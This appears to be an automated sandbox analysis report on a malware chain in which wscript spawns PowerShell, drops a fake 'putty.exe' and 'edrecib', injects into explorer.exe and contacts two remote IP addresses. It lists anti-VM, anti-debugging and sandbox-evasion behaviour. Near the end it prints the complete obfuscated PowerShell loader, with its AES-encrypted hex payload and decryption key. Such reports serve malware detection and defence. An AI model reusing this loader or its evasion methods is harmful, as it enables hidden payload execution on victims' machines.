Source: C:\Users\user\AppData\Roaming\edrecib	Code function: 7_2_005427CA push ebp; iretd	7_2_005427D0
Source: C:\Users\user\AppData\Roaming\edrecib	Code function: 7_2_0054478C push ebx; ret	7_2_00544792
Source: C:\Users\user\AppData\Roaming\edrecib	Code function: 7_2_00546CA2 push ds; ret	7_2_00546CB5
Source: C:\Users\user\AppData\Roaming\edrecib	Code function: 7_2_005B111B push ss; ret	7_2_005B111C
Source: C:\Users\user\AppData\Roaming\edrecib	Code function: 7_2_005B18DC push es; iretd	7_2_005B18DD
Source: C:\Users\user\AppData\Roaming\edrecib	Code function: 7_2_005B10CF push ebp; iretd	7_2_005B10D5

Source: putty.exe.2.dr	Static PE information: section name: .text entropy: 7.7876604645270575
Source: edrecib.5.dr	Static PE information: section name: .text entropy: 7.7876604645270575

Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\edrecib			Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\putty.exe			Jump to dropped file

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\edrecib

Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Windows\explorer.exe

File opened: C:\Users\user\AppData\Roaming\edrecib:Zone.Identifier read attributes | delete

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Checks if the current machine is a virtual machine (disk enumeration)

Source: C:\Users\user\AppData\Roaming\putty.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\edrecib	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\edrecib	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\edrecib	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\edrecib	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\edrecib	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\edrecib	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\AppData\Roaming\putty.exe	API/Special instruction interceptor: Address: 7FFBCB7AE814
Source: C:\Users\user\AppData\Roaming\putty.exe	API/Special instruction interceptor: Address: 7FFBCB7AD584
Source: C:\Users\user\AppData\Roaming\edrecib	API/Special instruction interceptor: Address: 7FFBCB7AE814
Source: C:\Users\user\AppData\Roaming\edrecib	API/Special instruction interceptor: Address: 7FFBCB7AD584

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: putty.exe, 00000004.00000002.1639126728.000000000081E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ASWHOOK
Source: edrecib, 00000007.00000002.1858756322.00000000006FE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ASWHOOKHE

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4015	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5845	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 439	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 2800	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 838	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 372	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 1900	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 882	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 870	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 908	Thread sleep time: -10145709240540247s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 6336	Thread sleep count: 439 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 6632	Thread sleep count: 2800 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 6632	Thread sleep time: -280000s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 5232	Thread sleep count: 838 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 5232	Thread sleep time: -83800s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 5904	Thread sleep count: 295 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 5092	Thread sleep count: 372 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 5092	Thread sleep time: -37200s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 5868	Thread sleep count: 347 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 5868	Thread sleep time: -34700s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 6632	Thread sleep count: 1900 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 6632	Thread sleep time: -190000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: explorer.exe, 00000005.00000000.1622386973.00000000090DA000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWystem32\DriverStore\en\volume.inf_loc
Source: explorer.exe, 00000005.00000000.1619262177.0000000000A28000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
Source: explorer.exe, 00000005.00000000.1622386973.0000000009290000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: NXTcaVMWare
Source: explorer.exe, 00000005.00000000.1622386973.0000000009330000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}F
Source: wscript.exe, 00000000.00000003.1590084250.000002AC9038D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: powershell.exe, 00000002.00000002.1586222462.0000022BF6DF3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: powershell.exe, 00000002.00000002.1586222462.0000022BF6DF3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\8b}
Source: explorer.exe, 00000005.00000000.1619262177.0000000000A28000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware SATA CD00=
Source: explorer.exe, 00000005.00000000.1622386973.0000000009255000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: explorer.exe, 00000005.00000000.1622386973.00000000091FB000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000
Source: powershell.exe, 00000002.00000002.1585756370.0000022BF6D40000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1622386973.00000000090DA000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: explorer.exe, 00000005.00000000.1619262177.0000000000A28000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000
Source: explorer.exe, 00000005.00000000.1622386973.0000000009330000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000005.00000000.1622386973.0000000009290000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000
Source: explorer.exe, 00000005.00000000.1619262177.0000000000A28000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}

Source: C:\Users\user\AppData\Roaming\putty.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Source: C:\Users\user\AppData\Roaming\putty.exe	System information queried: CodeIntegrityInformation			Jump to behavior
Source: C:\Users\user\AppData\Roaming\edrecib	System information queried: CodeIntegrityInformation			Jump to behavior

Source: C:\Users\user\AppData\Roaming\putty.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\AppData\Roaming\edrecib	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 4_2_0054159D push dword ptr fs:[00000030h]	4_2_0054159D
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 4_2_005F092B mov eax, dword ptr fs:[00000030h]	4_2_005F092B
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 4_2_005F0D90 mov eax, dword ptr fs:[00000030h]	4_2_005F0D90
Source: C:\Users\user\AppData\Roaming\edrecib	Code function: 7_2_0054159D push dword ptr fs:[00000030h]	7_2_0054159D
Source: C:\Users\user\AppData\Roaming\edrecib	Code function: 7_2_005B092B mov eax, dword ptr fs:[00000030h]	7_2_005B092B
Source: C:\Users\user\AppData\Roaming\edrecib	Code function: 7_2_005B0D90 mov eax, dword ptr fs:[00000030h]	7_2_005B0D90

HIPS / PFW / Operating System Protection Evasion

Benign windows process drops PE files

Source: C:\Windows\explorer.exe

File created: edrecib.5.dr

Jump to dropped file

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Network Connect: 109.70.26.37 80			Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 94.156.177.51 80			Jump to behavior

Creates a thread in another existing process (thread injection)

Source: C:\Users\user\AppData\Roaming\putty.exe	Thread created: C:\Windows\explorer.exe EIP: 8521998			Jump to behavior
Source: C:\Users\user\AppData\Roaming\edrecib	Thread created: unknown EIP: 7F61998			Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\AppData\Roaming\putty.exe	Section loaded: NULL target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Section loaded: NULL target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Roaming\edrecib	Section loaded: NULL target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\edrecib	Section loaded: NULL target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function kzVl($BRaA){return -split ($BRaA -replace '..', '0x$& ')};$Qiyjc = kzVl('583A9978E4D34538992E1A1351EF94C76F346575AEA09EB513401549161877EAF16C217FA53FAF8E9F5A6B6C98F436132CD64686F84B385701DF5CB57A496A57D083A739BD167A16F22386779010D0352280C205381DB165BF369C1DDC1AB0B20826DFB010CFDDCDFA3710E79E1F0DF5396A3CDCB1519A0E59214CB85DD8D5DB3598F5C3CC2D2307A104A5856E89829E0A80D0286C7C00A59C9857283FBDB29EB8E496DD4C09DA9F275960328E5AC89D55EBD3DCFED16A96B6882267D9DCBB1521E1A44EEC3CE3DA70C185B6D12547011407D8226CD2AE3CE2F55821F81B446119C95B163DB7DC61D936658509E877C1C06861FB6361BE198E404AE7F361887E373DC1A99E729EA6BCAD34C16C098676CBD7B34C34B4F6155017983594876DAC6BDB2C587F4A232BC97779B63E1A9088C50429F113E053CF31D6547C6D7F0ABE12F1F0B6A3F596803EBE69B5D5A6D1179C28BCAA989E167C59B3FF802844CBD654C0D6740476BF8F45699EB7ADB664C116B89504C4839F998A91C64E5E71E61B29061402831AAC2A34042CD38B595CF64B56303C0B9F31CEFD6C1F6AFD8BEDDEA69D470D2A173FC1496F22674C3559B74CED02F1DCEC4DABB38BA293DA8F762959B7DDA301EEA24D6B450354B04288F6385A2B2EDB10FA89F0D27FF2907D00A53F937FD89AB58F6811A166D5A633234208A16F44C7E1FDA1CA5781750D0FD0698B225A66882E2BC56217A52CCBF79E80ED2ABC2CDC8039511450AF5B112EADDA510CE1EED99D3EBFDAD959AB50B58880B9E56EC313C6B087C011B3DA810C2A5E3C6A90C69061B7B3ECED35C713C11874F6763FA79F0691D4FF8B99159BF1A716F811E9CBB8F818216B8AEF751BF044FBFE9DAA0CB892645C05F5D407EFED774BA5689A68FE5547020C0FE72F39D5ACA4');$mZBMz=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((kzVl('72786673574B4C516874716D49544E50')),[byte[]]::new(16)).TransformFinalBlock($Qiyjc,0,$Qiyjc.Length)); & $mZBMz.Substring(0,3) $mZBMz.Substring(3)			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\putty.exe "C:\Users\user\AppData\Roaming\putty.exe"			Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -w 1 -ep unrestricted -nop function kzvl($braa){return -split ($braa -replace '..', '0x$& ')};$qiyjc = kzvl('583a9978e4d34538992e1a1351ef94c76f346575aea09eb513401549161877eaf16c217fa53faf8e9f5a6b6c98f436132cd64686f84b385701df5cb57a496a57d083a739bd167a16f22386779010d0352280c205381db165bf369c1ddc1ab0b20826dfb010cfddcdfa3710e79e1f0df5396a3cdcb1519a0e59214cb85dd8d5db3598f5c3cc2d2307a104a5856e89829e0a80d0286c7c00a59c9857283fbdb29eb8e496dd4c09da9f275960328e5ac89d55ebd3dcfed16a96b6882267d9dcbb1521e1a44eec3ce3da70c185b6d12547011407d8226cd2ae3ce2f55821f81b446119c95b163db7dc61d936658509e877c1c06861fb6361be198e404ae7f361887e373dc1a99e729ea6bcad34c16c098676cbd7b34c34b4f6155017983594876dac6bdb2c587f4a232bc97779b63e1a9088c50429f113e053cf31d6547c6d7f0abe12f1f0b6a3f596803ebe69b5d5a6d1179c28bcaa989e167c59b3ff802844cbd654c0d6740476bf8f45699eb7adb664c116b89504c4839f998a91c64e5e71e61b29061402831aac2a34042cd38b595cf64b56303c0b9f31cefd6c1f6afd8beddea69d470d2a173fc1496f22674c3559b74ced02f1dcec4dabb38ba293da8f762959b7dda301eea24d6b450354b04288f6385a2b2edb10fa89f0d27ff2907d00a53f937fd89ab58f6811a166d5a633234208a16f44c7e1fda1ca5781750d0fd0698b225a66882e2bc56217a52ccbf79e80ed2abc2cdc8039511450af5b112eadda510ce1eed99d3ebfdad959ab50b58880b9e56ec313c6b087c011b3da810c2a5e3c6a90c69061b7b3eced35c713c11874f6763fa79f0691d4ff8b99159bf1a716f811e9cbb8f818216b8aef751bf044fbfe9daa0cb892645c05f5d407efed774ba5689a68fe5547020c0fe72f39d5aca4');$mzbmz=-join [char[]](([security.cryptography.aes]::create()).createdecryptor((kzvl('72786673574b4c516874716d49544e50')),[byte[]]::new(16)).transformfinalblock($qiyjc,0,$qiyjc.length)); & $mzbmz.substring(0,3) $mzbmz.substring(3)
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -w 1 -ep unrestricted -nop function kzvl($braa){return -split ($braa -replace '..', '0x$& ')};$qiyjc = kzvl('583a9978e4d34538992e1a1351ef94c76f346575aea09eb513401549161877eaf16c217fa53faf8e9f5a6b6c98f436132cd64686f84b385701df5cb57a496a57d083a739bd167a16f22386779010d0352280c205381db165bf369c1ddc1ab0b20826dfb010cfddcdfa3710e79e1f0df5396a3cdcb1519a0e59214cb85dd8d5db3598f5c3cc2d2307a104a5856e89829e0a80d0286c7c00a59c9857283fbdb29eb8e496dd4c09da9f275960328e5ac89d55ebd3dcfed16a96b6882267d9dcbb1521e1a44eec3ce3da70c185b6d12547011407d8226cd2ae3ce2f55821f81b446119c95b163db7dc61d936658509e877c1c06861fb6361be198e404ae7f361887e373dc1a99e729ea6bcad34c16c098676cbd7b34c34b4f6155017983594876dac6bdb2c587f4a232bc97779b63e1a9088c50429f113e053cf31d6547c6d7f0abe12f1f0b6a3f596803ebe69b5d5a6d1179c28bcaa989e167c59b3ff802844cbd654c0d6740476bf8f45699eb7adb664c116b89504c4839f998a91c64e5e71e61b29061402831aac2a34042cd38b595cf64b56303c0b9f31cefd6c1f6afd8beddea69d470d2a173fc1496f22674c3559b74ced02f1dcec4dabb38ba293da8f762959b7dda301eea24d6b450354b04288f6385a2b2edb10fa89f0d27ff2907d00a53f937f